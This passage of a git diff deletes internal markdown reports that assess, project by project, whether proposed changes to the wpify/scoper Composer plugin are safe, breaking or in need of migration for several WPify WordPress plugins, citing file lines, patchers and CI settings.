in `globals`, `exclude-classes` and -`exclude-namespaces` are non-empty, so **F5's `TypeError` is not reachable** for any of -these three. Merged config: `exclude-classes=1064`, `exclude-namespaces=200`. - -### 1.4 Verdict on dropping built-in PUC support - -The proposal has two separable halves. They have **opposite** risk profiles. - -| sub-change | mawis | dognet | filters | -|---|---|---|---| -| Delete `symbols/plugin-update-checker.php` + the `globals` branch at `src/Plugin.php:230-235` | **SAFE** | **SAFE** | **SAFE** | -| Delete the dead v4p11 patcher `scoper.inc.php:48-50` | **SAFE** | **SAFE** | **SAFE** | -| Delete the `$checkerClass = $type` patcher `scoper.inc.php:75-77` | **SAFE** (no PUC in deps) | **BREAKING** | **BREAKING** | - -**Deleting `scoper.inc.php:75-77` breaks `wpify-woo-dognet` and `wpify-woo-filters`.** -Exact failure: on every admin page load, `Wpify\Updates\Updates::init_udates_check()` -(hooked to `init`) calls `PucFactory::buildUpdateChecker()`; `getCompatibleClassVersion('Plugin\UpdateChecker')` -returns `null`; `PucFactory.php:89-90` fires `trigger_error(…, E_USER_ERROR)` — a **fatal**, -white-screening the site. Every WPify plugin that depends on `wpify/updates` is affected, -which from the evidence on disk is most of the fleet (`wpify-woo-gopay`, `rosettapress`, -`wpify-woo-conditional-shipping`, `wpify-woo-phone-validation`, `wpify-woo-zbozi-conversions`, -`wpify-woo-feeds`, `wpify-woo-fakturoid` all ship the same `load-v5p6.php`). - -**Recommendation.** Drop the symbol file and the `globals` key (dead weight, and the -`expose-classes` key is genuinely wrong). **Keep the `$checkerClass` patcher**, and fix it -properly rather than deleting it — the right change is to also handle the VCS branch: - -```php -if ( strpos( $filePath, 'yahnis-elsts/plugin-update-checker' ) !== false ) { - $content = str_replace( '$checkerClass = $type', '$checkerClass = "' . $prefix . '\\\\".$type', $content ); - $content = str_replace( "\$checkerClass = 'Vcs\\\\'", "\$checkerClass = '" . $prefix . "\\\\Vcs\\\\'", $content ); -} -``` - -That turns a currently-half-working integration into a fully working one and costs nothing. -If the maintainer still wants PUC out of the core tool, it must move to the F11 -user-patcher mechanism **in the same release**, and `wpify/updates` (or every consumer's -`scoper.custom.php`) must carry the patcher — otherwise this is a fleet-wide fatal. - ---- - -## 2. `scoper.custom.php` and H18 - -### 2.1 H18 as stated does not reproduce — the custom file **is** being applied - -`Plugin::createPath()` (`src/Plugin.php:268-276`) gates on: - -```php -$vendor = strpos( dirname( __DIR__ ), 'vendor' . DIRECTORY_SEPARATOR . 'wpify' . DIRECTORY_SEPARATOR . 'scoper' ); -``` - -For the global install `dirname(__DIR__)` is `/Users/wpify/.composer/vendor/wpify/scoper`, -which **does** contain the literal `vendor/wpify/scoper`. Composer's global install still -lays packages out under `$COMPOSER_HOME/vendor/`, so the substring matches and -`createPath(['scoper.custom.php'], true)` correctly returns `getcwd().'/scoper.custom.php'`. - -**Empirically confirmed** with an unambiguous marker. `mawis/scoper.custom.php:24-33` -flips `protected $client` → `public $client` in exactly four Raynet SDK classes: - -| class | `mawis/deps/wpify/raynet-api-php-sdk/lib/Api/…` line 52 | named in `scoper.custom.php`? | -|---|---|---| -| `KlientiApi` | `public $client;` | yes | -| `KontaktnOsobyApi` | `public $client;` | yes | -| `SelnkyApi` | `public $client;` | yes | -| `ObchodnPpadyApi` | `public $client;` | yes | -| `ProduktApi` | `protected $client;` | **no (control)** | -| `AktivityApi` | `protected $client;` | **no (control)** | -| `WebhookApi` | `protected $client;` | **no (control)** | -| `DiskuzeApi` | `protected $client;` | **no (control)** | - -A perfect split along the list in `scoper.custom.php`. The customization is live. - -Corroborating: `mawis/deps/league/oauth2-client/src/Grant/GrantFactory.php:64` reads -`$class = '\MawisDeps\League\OAuth2\Client\Grant\\' . $class;` — the leading-backslash form -that only the custom patcher (`mawis/scoper.custom.php:5-11`) produces; the built-in -patcher at `scoper.inc.php:71-73` emits it without the leading backslash. - -**Verdict: H18 is a real code smell but not a live defect for these three.** It would bite -only an install layout where the package path lacks `vendor/wpify/scoper` (a `path` -repository, a git clone symlinked in, a phar). Fixing it is **SAFE** here — the behaviour -it would "start" is already happening. - -### 2.2 What each custom file patches, and whether it does anything - -**`mawis/scoper.custom.php`** — 4 patches, **3 live, 1 dead**: - -| lines | patch | status | -|---|---|---| -| `:5-11` | `'League\OAuth2\Client\Grant\\'` → `'\MawisDeps\…'` | **live** (see `GrantFactory.php:64`) | -| `:13-16` | `'\\RaynetApiClient\\Model` → `'\\MawisDeps\\RaynetApiClient\\Model`; ` \RaynetApiClient` → ` \MawisDeps\RaynetApiClient` | **live** (raynet SDK is in `deps/wpify/raynet-api-php-sdk`) | -| `:18-29` | `protected $client` → `public $client` ×4 | **live** (table above) | - -Note `:5-11` and the built-in `scoper.inc.php:71-73` target the same file. The built-in runs -first (patchers array order), rewriting `League\\OAuth2\\Client\\Grant` → -`MawisDeps\\League\\…`, after which the custom needle `'League\OAuth2\Client\Grant\\'` -(quote-anchored) no longer matches. The observed leading-backslash form comes from -php-scoper's own string-literal prefixing. **Redundant but harmless** — flag for the owner, -do not "fix" as part of this work. - -**`wpify-woo-dognet/scoper.custom.php`** — 1 patch, **currently a no-op**: -strips `WpifyWooDognetDeps\ICL_LANGUAGE_CODE` in files under `woo-core`. Grep of the built -`deps/`: **0** prefixed occurrences; all 4 sites -(`deps/wpify/woo-core/src/Admin/Settings.php:246,248,249`, -`deps/wpify/woo-core/src/Abstracts/AbstractModule.php:25,27`) are already bare, because -`expose-global-constants => false` means php-scoper never prefixes an undeclared global -constant. Harmless insurance. - -**`wpify-woo-filters/scoper.custom.php`** — 2 blocks, **both no-ops**: - -- `:5-9` guards on `strpos($filePath, 'wpify/core')`. The package is `wpify/**woo**-core`; - `'wpify/core'` is **not** a substring of `'wpify/woo-core'`, and no package named - `wpify/core` exists in `composer-deps.lock`. **This branch has never fired.** Its three - replacements (un-prefixing `array_merge`, `wpml_object_id_filter`, `WP_Post`) are - therefore untested; note `array_merge` and `WP_Post` are already handled globally - (`expose-global-functions => false`; `WP_Post` ∈ `exclude-classes`). -- `:11-12` — same `ICL_LANGUAGE_CODE` no-op as dognet. - -### 2.3 Would any custom patcher conflict with the H1 anchored rewrite? - -**No.** H1 replaces the generic un-prefixing block (`scoper.inc.php:79-103`) which lives in -the built-in patcher; `scoper.custom.php` appends *additional* entries to -`$config['patchers']` that run afterwards and are untouched. Checked individually: - -- mawis `RaynetApiClient` — *adds* a prefix; `RaynetApiClient` is not an excluded symbol, so - anchored matching neither strips it before nor after. No interaction. -- mawis `protected $client` — not namespace-related. -- dognet/filters `ICL_LANGUAGE_CODE` — needles are the full constant name, already exact-match - anchored. No interaction. -- filters `wpify/core` block — dead; cannot conflict. - ---- - -## 3. H1 — the one place anchoring costs something - -`mawis`: **SAFE.** A full scan of all 37 534 PHP files in `mawis/deps` for tokens where a -short excluded symbol is a strict prefix of a referenced name found **zero** hits. Its -scoped namespaces (`GuzzleHttp`, `Microsoft`, `OpenTelemetry`, `Ramsey`, `Symfony`, `Brick`, -`Doctrine`, `League`, `Nyholm`, `Psr`, `Http`, `StdUriTemplate`, `RaynetApiClient`, …) collide -with nothing in the 1 264-entry class+namespace exclusion list. Anchoring changes nothing. - -`wpify-woo-dognet` / `wpify-woo-filters`: **NEEDS-MIGRATION.** Both bundle -`woocommerce/action-scheduler` 3.9.3, which has a WP-CLI integration — and **both projects -override `globals` and drop `wp-cli`** (and `action-scheduler`) from the tool's defaults at -`src/Plugin.php:60`. So `WP_CLI` is **not** in the exclusion lists, php-scoper prefixes it, -and the *unanchored* needle `\{prefix}\WP` (from `WP` ∈ `exclude-classes`) strips it back by -accident. Anchoring stops that. Affected sites in `wpify-woo-filters/deps` (dognet identical): - -| currently de-prefixed token | refs | example | -|---|---|---| -| `\WP_CLI` (static calls) | 36 | `woocommerce/action-scheduler/classes/WP_CLI/Action/Get_Command.php:23` | -| `\WP_CLI\Utils\get_flag_value` | 13 | `…/WP_CLI/ActionScheduler_WPCLI_Clean_Command.php:39` | -| `\WP_CLI\ExitException` | 8 | `…/WP_CLI/ActionScheduler_WPCLI_Clean_Command.php:32` (docblock) | -| `\WP_CLI\Formatter` | 7 | `…/WP_CLI/Action/Get_Command.php:33` | -| `\WP_CLI\Utils\make_progress_bar` | 4 | `…/WP_CLI/ProgressBar.php:125` | -| `\WP_CLI_Command` | 2 | `…/WP_CLI/Action_Command.php:8` (`extends`) | -| `\WP_CLI\CommandWithDBObject` | 1 | `…/abstracts/ActionScheduler_WPCLI_Command.php:63` (docblock) | - -Proof php-scoper really did prefix `WP_CLI`: **28 references survive prefixed** in the same -tree, in the two forms the `str_replace` needles cannot reach — -`use function WpifyWooFiltersDeps\WP_CLI\Utils\get_flag_value;` -(`…/Action/Cancel_Command.php:5`, `…/Action/Generate_Command.php:5`, `…/System_Command.php:8`, …) -and `defined('WpifyWooFiltersDeps\WP_CLI')` (`…/ProgressBar.php:60`, `…/Migration_Command.php:33`, -`…/migration/Controller.php:146`, `…/abstracts/ActionScheduler.php:231`). - -**Severity is low in practice, and the reason matters.** -`classes/abstracts/ActionScheduler.php:231` is the command-registration gate: - -```php -if (\defined('WpifyWooFiltersDeps\WP_CLI') && \WP_CLI) { - WP_CLI::add_command('action-scheduler', 'ActionScheduler_WPCLI_Scheduler_command'); - … -} -``` - -`defined('WpifyWooFiltersDeps\WP_CLI')` can never be true, so **Action Scheduler's WP-CLI -commands are already never registered** in these scoped builds. The code H1 would re-prefix -is already unreachable. So H1 does not *newly* break a working feature — it converts a -latent accident into a consistent (still-broken) state. - -**Migration, one line, no tool change:** add `"wp-cli"` to `globals` in -`wpify-woo-dognet/composer.json:20-24` and `wpify-woo-filters/composer.json:36-42`. That puts -`WP_CLI` in `exclude-namespaces`/`exclude-classes`, php-scoper stops prefixing it everywhere -(including `use function` and `defined()` literals), and the integration works for the first -time. Worth doing **before** H1 lands. - -**Recommendation for the tool:** since all three projects drop `wp-cli` and `action-scheduler` -by overriding `globals` wholesale, consider making `globals` *additive* to the defaults, or -warn when a bundled package (action-scheduler) is present but its symbol file is not selected. -That is F11/M15 territory. - ---- - -## 4. H2 — narrow the `autoload_static.php` rewrite to `$files` - -**SAFE for all three.** `postinstall.php:38-44` applies -`/'([[:alnum:]]+)'\s*=>\s*([a-zA-Z0-9 .'"\/\-_]+),/` to the whole file. Measured on the built -output — it only ever hit the `$files` array: - -| project | rewritten keys | all in `$files`? | classmap keys with no `\` | -|---|---|---|---| -| `mawis` | 16 | yes (`mawisdeps5897ea0a…` → `symfony/polyfill-php82/bootstrap.php`, …) | **0** | -| `wpify-woo-dognet` | 3 | yes (incl. `…f6d4f6bc…` → `yahnis-elsts/plugin-update-checker/load-v5p6.php`) | **0** | -| `wpify-woo-filters` | 3 | yes | **0** | - -`$prefixLengthsPsr4`/`$prefixDirsPsr4` entries are safe because their values start with -`array (`, and `(` is outside the value character class; classmap keys all contain `\`, which -is not `[:alnum:]`. Narrowing the regex to `$files` is behaviour-preserving here and removes a -real latent hazard (a scoped package declaring a single-segment global class with no -underscore would today get a corrupted classmap key). - ---- - -## 5. Remaining checklist items - -### C4 — bump `require.php` to `^8.2` - -Keep the two PHP versions apart: - -- **PHP the tool runs on.** `mawis/.gitlab-ci.yml:38` runs the composer job in image - `composer:2.8.2`; verified by pulling it: **PHP 8.3.13**. It does - `composer global require wpify/scoper --with-all-dependencies` (`.gitlab-ci.yml:64`), so - `^8.2` resolves. Local dev is `.ddev/config.yaml:4` → `php_version: "8.3"`. - `wpify-woo-dognet` and `wpify-woo-filters` delegate to - `wpify/gitlab-ci-templates` `/pipelines/wpify-plugin.yml` (`.gitlab-ci.yml:4-7`), which is - **not checked out locally** — see UNKNOWN below. -- **`config.platform.php`.** `wpify-woo-filters/composer.json:9` pins `8.0.30`, but that - governs only the *outer* project's own `vendor/` (which is dev-only: phpunit, wp-phpunit, - polyfills). The scoped resolution is governed by `wpify-woo-filters/composer-deps.json:12-14` - → `"platform": {"php": "8.1"}` with `"require": {"php": ">=8.1.0"}`. Confirmed on the built - output: `deps/composer/platform_check.php:7` asserts `PHP_VERSION_ID >= 80100`. The `8.0.30` - pin is **irrelevant to C4**. - (mawis: `composer-deps.json` platform `8.3`, `deps/composer/platform_check.php` asserts - `>= 80200`. dognet: platform `8.1.0`, asserts `>= 80100`.) - -| project | verdict | -|---|---| -| mawis | **SAFE** (PHP 8.3.13 in CI, 8.3 in DDEV) | -| dognet | **UNKNOWN** — shared CI template not available locally | -| filters | **UNKNOWN** — same; the `8.0.30` platform pin is a red herring, not a blocker | - -### C5 — fail fast on missing/invalid prefix - -**SAFE ×3.** `MawisDeps` (`mawis/composer.json:104`), `WpifyWooDognetDeps` -(`wpify-woo-dognet/composer.json:19`), `WpifyWooFiltersDeps` -(`wpify-woo-filters/composer.json:38`) are all present and legal PHP namespace identifiers. -Nothing relies on the silent no-op at `src/Plugin.php:127`. - -### C3 — atomic `.bak` swap - -**SAFE ×3.** `folder` is the default `deps` at the **project root** in every case — not inside -`vendor/`. A `deps.bak` sibling would land at the project root. - -- `mawis/.gitignore:33` has `/deps`; dognet `.gitignore:5` and filters `.gitignore:5` have - `/deps/`. **None of these patterns match `deps.bak`**, so a crash mid-swap would leave an - untracked directory visible in `git status`. Cosmetic; worth `.gitignore`-ing `deps.bak` or - using a dot-prefixed name. -- `mawis/.gitlab-ci.yml:47` archives `$CI_PROJECT_DIR/deps` as an artifact and - `.gitlab-ci.yml:96` deploys `deps/` explicitly — neither would pick up `deps.bak`. -- Same filesystem in all cases (project root ↔ `deps/`); no Docker/DDEV mount crosses that - boundary. - -### C2 — `is_link()` guard in `remove()` - -**SAFE ×3.** `mawis/deps` is not a symlink and contains **0** symlinks (`find -type l`). -No `path` repositories in any `composer-deps.json`. mawis' `composer.json:21-24` has a `path` -repo (`lib/MawisApi`) but that is the *outer* project, which `remove()` never touches. - -### C1 + M4 — subprocess, exit code, `--no-plugins` - -| project | composer-plugin packages in scoped deps | currently running? | `--no-plugins` verdict | -|---|---|---|---| -| mawis | `php-http/discovery`, `tbachert/spi` | **no** | **SAFE** | -| dognet | none | — | **SAFE** | -| filters | none | — | **SAFE** | - -`mawis/composer-deps.json` has no `allow-plugins`, and the built output proves neither plugin -ran: `mawis/deps/composer/` contains no `GeneratedDiscoveryStrategy.php` and no -`GeneratedServiceProviderData.php`. So `--no-plugins` is a no-op today. -`woocommerce/action-scheduler` is `type: wordpress-plugin` in dognet/filters but no -`composer/installers` is present; it lands at `deps/woocommerce/action-scheduler` via the -default fallback, which `--no-plugins` does not change. - -**Exit-code propagation (C1) is a real improvement, not a risk**, for `mawis`: the CI job at -`.gitlab-ci.yml:65` is a bare `composer install` whose artifacts (`.gitlab-ci.yml:47`) include -`deps/`. Today a failed scoping run still exits 0 and publishes a stale or partial `deps/`. -Nothing in any of the three pipelines *depends* on `composer install` masking a scoper failure. - -### H7 — make `--no-dev` reachable - -**Not applicable ×3.** None of the three `composer-deps.json` files has a `require-dev` -section (verified by grep). `--no-dev` on the nested install changes nothing. -Note `mawis/.gitlab-ci.yml:65` already passes `--no-dev` to the *outer* install. - -### H16 — regenerated symbol lists - -**SAFE ×3.** Scanned all built `deps/` for declarations of the ~18 function-body symbols the -new `SymbolCollector` would add (`WP_Block_Cloner`, `wxr_cdata`, `lowercase_octets`, -`wp_handle_upload_error`, `_sort_priority_callback`, `filter_created_pages`) and for any -`SODIUM_*` reference (the 97 new constants): **zero hits in all three projects**. -No scoped package declares or consumes a newly-excluded symbol. - -### M3 — stop writing generated `scripts` into `composer-deps.json` - -**SAFE ×3**, mildly beneficial for mawis. Only `mawis/composer-deps.json:14` has a `scripts` -block and it is the **empty** `"scripts": {}` — a leftover, not hand-written; the generated -absolute-path/`tmp-XXXX` entries are written to the *temp* copy -(`src/Plugin.php:169-175` writes to `$source/composer.json`), not back to the user's file. -dognet and filters have no `scripts` key at all. All three track `composer-deps.json`, -`composer-deps.lock` and `scoper.custom.php` in git (verified via `git ls-files`), so no churn -is being introduced today, and none would be removed. - -### M15 — validate `globals` - -**SAFE ×3.** All three use `["wordpress","woocommerce","plugin-update-checker"]`; every entry -maps to an existing file in `symbols/`. No typos. -Worth recording under M15 that validation would **not** catch the real problem here, which is -the *omission* of `wp-cli`/`action-scheduler` — see §3. - ---- - -## Verdict table - -| item | mawis | wpify-woo-dognet | wpify-woo-filters | -|---|---|---|---| -| **H14/H15** drop `symbols/plugin-update-checker.php` + `globals` branch | SAFE | SAFE | SAFE | -| **H14/H15** drop dead v4p11 patcher (`scoper.inc.php:48-50`) | SAFE | SAFE | SAFE | -| **F3/H15** drop `$checkerClass` patcher (`scoper.inc.php:75-77`) | SAFE | **BREAKING** | **BREAKING** | -| **H18** fix `scoper.custom.php` discovery | SAFE (already applied) | SAFE (already applied) | SAFE (already applied) | -| custom patchers vs **H1** | SAFE (no conflict) | SAFE (no conflict) | SAFE (no conflict) | -| **H1** anchored prefix-stripping | SAFE | **NEEDS-MIGRATION** (add `wp-cli` to `globals`) | **NEEDS-MIGRATION** (add `wp-cli` to `globals`) | -| **H2** narrow `autoload_static` rewrite to `$files` | SAFE | SAFE | SAFE | -| **C1+M4** subprocess / exit code / `--no-plugins` | SAFE | SAFE | SAFE | -| **C2** `is_link()` guard | SAFE | SAFE | SAFE | -| **C3** atomic `.bak` swap | SAFE (`.gitignore` misses `deps.bak`) | SAFE (same) | SAFE (same) | -| **C4** require PHP `^8.2` | SAFE (CI PHP 8.3.13) | UNKNOWN (shared CI template) | UNKNOWN (shared CI template); `platform 8.0.30` is a red herring | -| **C5** fail fast on bad prefix | SAFE | SAFE | SAFE | -| **H7** reachable `--no-dev` | n/a (no `require-dev`) | n/a | n/a | -| **H16** regenerated symbol lists | SAFE | SAFE | SAFE | -| **M3** stop writing `scripts` | SAFE | SAFE | SAFE | -| **M15** validate `globals` | SAFE | SAFE | SAFE | - -### UNKNOWNs - -- **C4 for dognet and filters.** Both `.gitlab-ci.yml` files consist solely of - `include: project: 'wpify/gitlab-ci-templates', file: '/pipelines/wpify-plugin.yml'`. - That repository is not checked out under `/Users/wpify/projects`, so the PHP version of the - image that runs `composer global require wpify/scoper` cannot be read. **This single file - gates the C4 answer for the entire WPify plugin fleet, not just these two** — it should be - checked before the bump ships. -- Whether `wpify/updates` is ever invoked with a VCS metadata URL by any *other* consumer. In - these three it is always the `wpify.io` JSON endpoint, so the broken VCS branch (§1.2) is - latent. A fleet-wide grep for `buildUpdateChecker` with a github.com/gitlab.com URL would - settle it. diff --git a/docs/improvements/consumers/D-vendor-scoped-group.md b/docs/improvements/consumers/D-vendor-scoped-group.md deleted file mode 100644 index 28cbfce..0000000 --- a/docs/improvements/consumers/D-vendor-scoped-group.md +++ /dev/null @@ -1,557 +0,0 @@ -# Consumer impact — cluster D: projects that scope INTO `vendor/` - -Scope: `wpify-woo-feeds`, `wpify-woo-gopay`, `wpify-woo-paczkomaty`, `tmp/wpify-woo`. -All inspection was read-only (`git status` clean where it started clean; no writes, no composer runs). - -## 0. Ground facts established first - -| | feeds | gopay | paczkomaty | tmp/wpify-woo | -|---|---|---|---|---| -| `extra.wpify-scoper.prefix` | `WpifyWooFeedsDeps` (composer.json:25) | `WpifyWooGopayDeps` (:21) | `WpifyWooPaczkomatyDeps` (:42) | `WpifyWooDeps` (:35) | -| `folder` | `vendor/wpify-woo-feeds` (:26) | `vendor/wpify-woo-gopay` (:22) | **absent** → default `deps` (Plugin.php:57) | `vendor/wpify-woo` (:36) | -| `globals` | wordpress, woocommerce, plugin-update-checker (:27–30) | same (:23–26) | wordpress, woocommerce (:43–45) | wordpress, woocommerce (:37–39) | -| `config.platform.php` | `8.1.0` (:10) | `8.1` (:7) | `8.1` (:12) | `8.1` + `ext-soap` (:11) | -| scoped tree currently built on disk | **yes** | no | no | no | -| `scoper.custom.php` | no | no | no | **yes** | -| wpify/scoper installed | **globally** (`/Users/wpify/.composer/vendor/wpify/scoper`, global composer.json requires `^3.2`) | globally | globally | globally | - -None of the four has `wpify/scoper` in its own `composer.lock` (checked: zero matches in all four). The -global install path `/Users/wpify/.composer/vendor/wpify/scoper` **does** contain the literal -`vendor/wpify/scoper`, which matters for H18 below. - -**Bootstrap paths all match `folder`** (ordering-hazard item 2, first half): - -- `wpify-woo-feeds/wpify-woo-feeds.php:148` → `__DIR__ . '/vendor/wpify-woo-feeds/scoper-autoload.php'`, then `vendor/autoload.php` at :160 -- `wpify-woo-gopay/wpify-woo-gopay.php:157` → `__DIR__ . '/vendor/wpify-woo-gopay/scoper-autoload.php'`, then `vendor/autoload.php` at :166 -- `wpify-woo-paczkomaty/wpify-woo-paczkomaty.php:134` → `__DIR__ . '/deps/scoper-autoload.php'` + `deps/autoload.php` -- `tmp/wpify-woo/wpify-woo.php:175–177` → `__DIR__ . '/vendor/wpify-woo/scoper-autoload.php'` then `vendor/autoload.php` - -No mismatch. The scoped tree is **not** registered in any project's own `autoload` block — it is loaded -by an explicit `include_once` of `scoper-autoload.php`, which chains to the scoped tree's own -`autoload.php`. Composer's root autoloader has no knowledge of it. - -### Is `tmp/wpify-woo` a real project or a scratch copy? — **REAL, and it is the only copy on this machine.** - -`git -C /Users/wpify/projects/tmp/wpify-woo`: -- remote `git@gitlab.com:wpify/wpify-woo.git`, branch `master` tracking `origin/master` -- `git describe --tags` → `5.4.16` -- HEAD `9aca08c "Fix IC/DIC Login conflict, Withdrawal & Claim order id normalization"` -- **uncommitted work present**: `M readme.txt`, `M src/Api/SettingsApi.php`, `M wpify-woo.php`, untracked `tests/` - -There is no `/Users/wpify/projects/wpify-woo`. This is an active working copy that merely lives under a -directory named `tmp`. Its findings are weighted the same as the other three, and it is the only project -in this cluster with a `scoper.custom.php` and the only one with a hand-written `scripts` block in -`composer-deps.json` — so it is the highest-signal project here, not the lowest. - ---- - -## 1. Does the scoped directory being inside `vendor/` break C3 (atomic swap via `.bak` sibling)? - -Current behaviour (`scripts/postinstall.php:62–63`): - -```php -remove( $deps ); -rename( path( $destination, 'vendor' ), $deps ); -``` - -Under C3 this becomes: rename `$deps` → `$deps.bak-`, rename new tree into `$deps`, delete the backup. -For three of four projects `$deps` is inside `vendor/`, so the backup is -`vendor/wpify-woo-feeds.bak-` / `vendor/wpify-woo-gopay.bak-` / `vendor/wpify-woo.bak-`. - -**(a) Would a later `composer install` remove or complain about it?** No — and that is the problem. -Composer only removes package directories recorded in `vendor/composer/installed.json`; it does not sweep -`vendor/` for strays. The scoped directory itself is proof: `wpify-woo-feeds/vendor/` currently holds -`autoload.php`, `composer/` and `wpify-woo-feeds/` side by side (`composer/` mtime Jun 22 18:37, -scoped dir Jun 22 20:20) with no Composer complaint. A leaked `.bak-` therefore **persists -indefinitely and is never cleaned up by anything.** - -**(b) Is the `.bak` visible in git?** No, in any of the four. `.gitignore` ignores `vendor/` wholesale -(`wpify-woo-feeds/.gitignore:7`, `wpify-woo-gopay/.gitignore:7`, `wpify-woo-paczkomaty/.gitignore:7`, -`tmp/wpify-woo/.gitignore:8`) and `deps` too (`:4` in the first three, `:4` in wpify-woo). So a leaked -backup is **invisible to `git status`** — nobody will notice it accumulating. - -**(c) Deploy / artifact rules that would now pick it up — this is the real hit.** -`tmp/wpify-woo/.rsyncinclude:6` is `+ /vendor/***`. That is a recursive wildcard over the whole vendor -directory, used by the `.deploy_wporg_rsyncinclude` job (`.gitlab-ci.yml`, `wporg:` job, tags only). -A leaked `vendor/wpify-woo.bak-` would be **rsynced into the WordPress.org SVN release**, roughly -doubling the shipped plugin size and publishing a duplicate copy of every scoped dependency. -Additionally `tmp/wpify-woo/.gitlab-ci.yml:27–30` declares `artifacts.paths: ./deps, ./vendor`, so the -backup would also ride along in the CI artifact consumed by the `create_zip` / deploy jobs. -`.gitattributes` is absent for wpify-woo and only `export-ignore`s lock files in the other three, so -`git archive` is unaffected (vendor is untracked anyway). - -feeds / gopay / paczkomaty have **no** `.rsyncinclude`; they delegate to -`wpify/gitlab-ci-templates :: /pipelines/wpify-plugin.yml`, which is **not checked out locally**, so I -cannot read its rsync/artifact rules. Given wpify-woo's inlined equivalent uses `+ /vendor/***`, the -shared template very likely does the same — but I am marking that UNKNOWN rather than asserting it. - -**(d) Crash window / stale-backup confusion.** The proposed name carries `-`, so a later run will -never mistake a leftover for the real tree — the plugin only ever looks at `$deps` itself, never at -siblings. That specific hazard is closed. What is *not* closed is that leftovers are silent, permanent, -and shippable (points a–c). - -**(e) Same filesystem?** Yes for all four. Temp dir is `getcwd() . '/tmp-<10 chars>'` (Plugin.php:58) and -no project overrides `extra.wpify-scoper.temp` (verified: zero matches in all four composer.json files). -Source, destination, `$deps` and the `.bak` sibling are all under the project root, so `rename()` cannot -hit `EXDEV`. No `.ddev/`, `Dockerfile`, `docker-compose.yml`, `.tool-versions` or `.php-version` in any of -the four — no bind-mount split to worry about. - -**Verdict C3:** SAFE for paczkomaty (`deps` is a top-level, `.gitignore`d, self-contained directory). -**NEEDS-MIGRATION for feeds, gopay and wpify-woo** — the backup must be created *outside* `vendor/` -(alongside the temp tree, i.e. `getcwd()/tmp-/old-deps`), or the run must sweep -`dirname($deps) . '/' . basename($deps) . '.bak-*'` at startup. Placing it inside `vendor/` converts a -crash into a permanently invisible, deployable artifact — and for wpify-woo specifically into a -wordpress.org release payload via `.rsyncinclude:6`. - ---- - -## 2. Ordering hazard — does Composer ever wipe the scoped directory? - -**No.** Three separate reasons, all checked: - -1. `composer install` / `composer update` only remove packages tracked in `vendor/composer/installed.json`. - The scoped tree is not a Composer package and is not in the project's own `autoload` config - (verified in all four `composer.json`), so nothing prunes it. `--no-dev` prunes *dev packages*, not - unknown directories. -2. `composer dump-autoload` fires `pre-`/`post-autoload-dump`, **not** `POST_INSTALL_CMD` / - `POST_UPDATE_CMD` — the only two events the plugin subscribes to (`src/Plugin.php:44–49`). So - `dump-autoload` neither rebuilds nor deletes the scoped tree; it leaves it untouched. -3. The plugin runs *after* Composer has finished writing `vendor/` (POST_INSTALL_CMD), so - `rename(temp/destination/vendor, vendor/)` always lands into an already-existing `vendor/`. - -Empirical corroboration: `wpify-woo-feeds/vendor/` currently contains the composer-managed -`autoload.php` + `composer/` (mtime 18:37) and the scoped `wpify-woo-feeds/` (mtime 20:20) coexisting. - -One residual, low-probability naming collision worth stating: `vendor/wpify-woo-feeds` occupies what -Composer treats as a *vendor-namespace* slot. If a package `wpify-woo-feeds/` were ever -required, Composer would install into that same directory and the two would fight. No such package is -required today in any of the four. - -**Verdict:** SAFE for all four. - ---- - -## 3. C2 — `is_link()` guard in `remove()` - -- `wpify-woo-feeds`: `test -L vendor` → not a symlink; `test -L vendor/wpify-woo-feeds` → not a symlink; - `find vendor -type l` → **zero** symlinks anywhere in the tree. -- gopay / paczkomaty / wpify-woo: no built tree exists, so nothing to test; `find -maxdepth 2 -type l` - over each project root (excluding `.git`, `node_modules`) → zero symlinks. -- No `repositories` key at all in any of the four `composer-deps.json`; no `"type": "path"` anywhere in - any `composer.json` or `composer-deps.json`. So Composer never symlinks a path repository into the - scoped tree. -- No DDEV/Docker mounts (see 1e). - -**Verdict C2:** SAFE for all four. Purely additive hardening here; nothing in this cluster relies on -`remove()` following a link. - ---- - -## 4. H14 / H15 — plugin-update-checker. **This is the BREAKING finding in this cluster.** - -### What is actually installed - -`plugin-update-checker` is in `globals` for **feeds** (composer.json:30) and **gopay** (:26) only. -Neither paczkomaty nor wpify-woo lists it, and neither has PUC in its `composer-deps.lock` — for those -two the whole topic is **not applicable**. - -feeds and gopay both lock `yahnis-elsts/plugin-update-checker dev-master`, pulled transitively by -`wpify/updates ^1`. The built tree shows it is **v5.7**, not v4: -`vendor/wpify-woo-feeds/yahnis-elsts/plugin-update-checker/load-v5p7.php`, tree `Puc/v5`, `Puc/v5p7`, -namespaces `YahnisElsts\PluginUpdateChecker\v5` / `v5p7`. - -### Does any project code reference PUC? - -**No.** Grepping `src/` and the main plugin file of all four for `Puc_v4`, `PluginUpdateChecker`, -`PucFactory`, `Puc\` → zero hits. The only consumer is the scoped package `wpify/updates`: - -`vendor/wpify-woo-feeds/wpify/updates/src/Updates.php:5,26` -```php -use WpifyWooFeedsDeps\YahnisElsts\PluginUpdateChecker\v5\PucFactory; -... -$url = sprintf('https://wpify.io/?update_action=get_metadata&update_slug=%s&site_url=%s', ...); -PucFactory::buildUpdateChecker($url, $this->plugin_file, $this->plugin_slug); -``` - -### H15 — dropping the built-in symbol list: SAFE - -`symbols/plugin-update-checker.php` contains **only** `expose-classes` naming 33 `Puc_v4p11_*` / -`Puc_v4_Factory` classes (lines 1–37). None of those class names exists anywhere in the installed v5.7 -tree. The list is a dead no-op for feeds and gopay today. Deleting the file — and with it the -`in_array('plugin-update-checker', ...)` branch at `src/Plugin.php:230–235` — changes nothing observable. -The two projects would then need `plugin-update-checker` removed from `globals`, or `globals` validation -(M15) would reject it: **that is the only migration step**, and it is a one-line edit per project. - -### H14 — regenerating for v5, or removing the v5 patchers: BREAKING for feeds and gopay - -The `globals` list is not the thing PUC actually depends on. What PUC depends on is a **patcher in -`config/scoper.inc.php:75–77`**: - -```php -if ( strpos( $filePath, 'yahnis-elsts/plugin-update-checker' ) !== false ) { - $content = str_replace( '$checkerClass = $type', '$checkerClass = "'. $prefix . '\\\\".$type', $content ); -} -``` - -Its effect in the built tree, `yahnis-elsts/plugin-update-checker/Puc/v5p7/PucFactory.php:81`: - -```php -$checkerClass = "WpifyWooFeedsDeps\\".$type . '\UpdateChecker'; // $type === 'Plugin' -``` - -and the lookup table it must match, `load-v5p7.php:11` (php-scoper prefixed the *string literal* keys): - -```php -foreach (array('WpifyWooFeedsDeps\Plugin\UpdateChecker' => Plugin\UpdateChecker::class, ...) as $pucGeneralClass => $pucVersionedClass) { - MajorFactory::addVersion($pucGeneralClass, 